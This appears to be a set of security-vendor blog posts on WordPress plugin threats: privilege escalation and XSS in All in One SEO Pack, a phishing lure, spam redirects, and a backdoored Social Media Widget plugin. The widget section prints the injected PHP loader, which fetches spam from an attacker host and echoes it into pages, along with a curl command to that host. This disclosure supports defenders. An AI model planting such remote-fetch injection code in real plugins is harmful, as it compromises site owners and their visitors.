Vulnerability found in the All in One SEO Pack WordPress Plugin

The team behind the All in One SEO Pack just released a new version of their popular WordPress plugin.

It is a security release patching two privilege escalation vulnerabilities we discovered earlier this week that may affect any web site running it.

The risks

If your site has subscribers, authors and non-admin users logging in to wp-admin, you are a risk. If you have open registration, you are at risk, so you have to update the plugin now.

While auditing their code, we found two security flaws that allows an attacker to conduct privilege escalation and cross site scripting (XSS) attacks.

In the first case, a logged-in user, without possessing any kind of administrative privileges (like an author of subscriber), could add or modify certain parameters used by the plugin. It includes the post’s SEO title, description and keyword meta tags. All of which could decrease one’s website’s Search Engine Results Page (SERP) ranking if used maliciously.

While it does not necessarily look that bad at first (yes, SERP rank loss is no good, but no one’s hurt at this point, right?), we also discovered this bug can be used with another vulnerability to execute malicious Javascript code on an administrator’s control panel. Now, this means that an attacker could potentially inject any javascript code and do things like changing the admin’s account password to leaving some backdoor in your website’s files in order to conduct even more “evil” activities later.

How to prevent this from happening

We’re not going to reinvent the wheel on this one: upgrade to the latest version available for this plugin.

In the event where you could not do this, we highly recommend you to have a look at our CloudProxy WAF which has been updated to protect our customers from this threat.

Phishing Emails to Install Malicious WordPress Plugins

When all else fails, the bad guys can always rely on some basic social engineering tactics with a little hit of phishing!!

Over the weekend, a few of our clients received a very suspicious email telling them to download a new version of the popular “All in One SEO Pack” plugin for WordPress. What a win, right? It wasn’t just the plugin, but the Pro version too. To top it off, it was for Free!!! This is where the journey begins…

Happy Black Friday / Cyber Monday


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WordPress Malicious Plugin – WPPPM – Abusing 404 Redirects with SEO Poisoning

Bruno Borges, of our security team, came across an interesting case this week, in which a WordPress plugin was abusing the 404 rewrite rules and redirecting all traffic to SPAM pages advertising a variety of things, the most common being:

FACTUAL STUDY: HYDROXYCITRIC ACID IN GARCINIA CAMBOGIA BURNS FAT.

The way it works is interesting, by default most would never realize they are even infected. The plugin is designed only to redirect incoming traffic that accidentally goes to a page that doesn’t exist. In most cases it would generates what we know as 404 pages, or state something like, Sorry this page doesn’t exist, etc… Well in this case, you’d be greeted with something like the following:

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WordPress Plugin Social Media Widget Hiding Spam – Remove it now

Authored by Daniel Cid and Tony Perez.

If you are using the Social Media Widget plugin (social-media-widget), make sure to remove it immediately from your website. We discovered it is being used to inject spam into websites and it has also been removed from the WordPress Plugin repository.

This is a very popular plugin with more than 900,000 downloads. It has the potential to impact a lot of websites.

Screen Shot 2013-04-09 at 11.03.12 AM

Technical details

The plugin has a hidden call to this URL: httx://i.aaur.net/i.php, which is used to inject “Pay Day Loan” spam into the web sites running the plugin. This is how it looks like in the browser:

function nemoViewState( ){
var a=0,m,v,t,z,x=new …
<p class="nemonn"><a href="httx://paydaypam.co. uk/" title="Payday Loan">payday loans

The malicious code was added only 12 days ago when they launched the version 4.0 of the plugin. So we are recommending that everyone removes that plugin immediately until we have more information. Our free SiteCheck scanner does identify if your site has been injected with this type of SPAM.

This is the code that was added to the plugin:

470
471 $smw_url = "hxxp://i.aaur.net/i.php";
472 if(!function_exists("smw_get")){
473 function smw_get($f) {
474 $response = wp_remote_get( $f );
475 if( is_wp_error( $response ) ) {
476 function smw_get_body($f) {
477 $ch = @curl_init();
478 @curl_setopt($ch, CURLOPT_URL, $f);
479 @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
480 $output = @curl_exec($ch);
481 @curl_close($ch);
482 return $output;
483 }
484 echo smw_get_body($f);
485 } else {
486 echo $response["body"];
487 }
488 }
489 smw_get($smw_url);
490 }

The code itself is very simply. You can see where they are pulling the malicious url on line 471. The rest is just error handling and embedding the injection.

In fact, if you want to try it safely, simply open your friendly terminal and run:

curl -D – hxxp://i.aaur.net/i.php

You’ll get something like this:

Screen Shot 2013-04-09 at 10.29.13 AM

You can clearly see the injection and in return the SPAM being injected. Now in this case you’re only seeing the injection, but once this is embedded in your website it’ll hide itself amongst all your other code, making it all that harder for you as a website owner to find. But exceptionally easy for search engines, like Google to flag.

The Real Concern

What is really concerning about this, isn’t even the SPAM injection. That happens all the time, it’s the fact that the malicious payload found it’s way in the core files. It was then uploaded to the WordPress.org Plugin Repository.

You can see what they did by looking at their changes:

This is version 4.0:
http://plugins.trac.wordpress.org/changeset?reponame=&new=688632%40social-media-widget%2Ftrunk%2Fsocial-widget.php&old=676169%40social-media-widget%2Ftrunk%2Fsocial-widget.php

They then updated 4.0, to better streamline the code:
http://plugins.trac.wordpress.org/changeset?reponame=&new=691839%40social-media-widget%2Ftrunk%2Fsocial-widget.php&old=688632%40social-media-widget%2Ftrunk%2Fsocial-widget.php

Then 17 hours ago it was removed: http://plugins.trac.wordpress.org/changeset?reponame=&new=693941%40social-media-widget%2Ftrunk%2Fsocial-widget.php&old=691839%40social-media-widget%2Ftrunk%2Fsocial-widget.php

It was likely Otto that removed it based on his response in the forums:

We forced an update to remove the discovered malware from already existing sites, however I highly recommend that you find another plugin.

So what does this tell us?

Well we know it’s not a vulnerability in the code, it’s an intentional injection, designed to compromise thousands. Very intelligent, but the question is by who.

First, the attacker is doing this directly to the core of the plugin. So, either it’s the author, or his credentials are compromised. Being that it was injected then modified it’s probably safe to say someone has access and they are not doing very nice things with it.

Second, kudos to the core team on finding and resolving the issue. It does however make you sit back and wonder, is this one isolated incident or is the going to be the new attack vector? If it’s the latter it causes grave concern, again demonstrating that the biggest vulnerability we all suffer is ourselves and our access.

WordPress Plugin: Easy Digital Downloads – Security Flaw Discovered and Patched

Last night we were contacted by Adam Pickering about a security flaw discovered in Easy Digital Downloads (EDD), a free WordPress eCommerce plugin that allows you to sell digital downloads. If you use EDD and haven’t done so already, please make sure to upgrade to Version 1.4.4.2 immediately!

The plugin author, Pippin Williamson received word about the flaw within hours of it being validated, and had a patched version up on the WordPress Plugin Directory within the hour.

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WordPress Security: 5 Steps To Reduce Your Risk

Often you hear the question, “What plugins should I use for WordPress Security?”. It’s a valid question, but I don’t think it’s the best approach if it’s the only question you’re asking, or the only action you’re taking. If you’re leaving the security of your blog to a plugin from a 3rd party alone, you’re doing it wrong!

WordPress-Security-Reduce-Risk-With-Less-Plugins
Risk reduction is the name of the game. A collective set of actions, tools, and processes all helping lower the risk of exploitation.

It’s Everyone’s Responsibility!

It starts with you. Follow these steps and you lower your risk floor significantly (without the use of a lot of plugins!):


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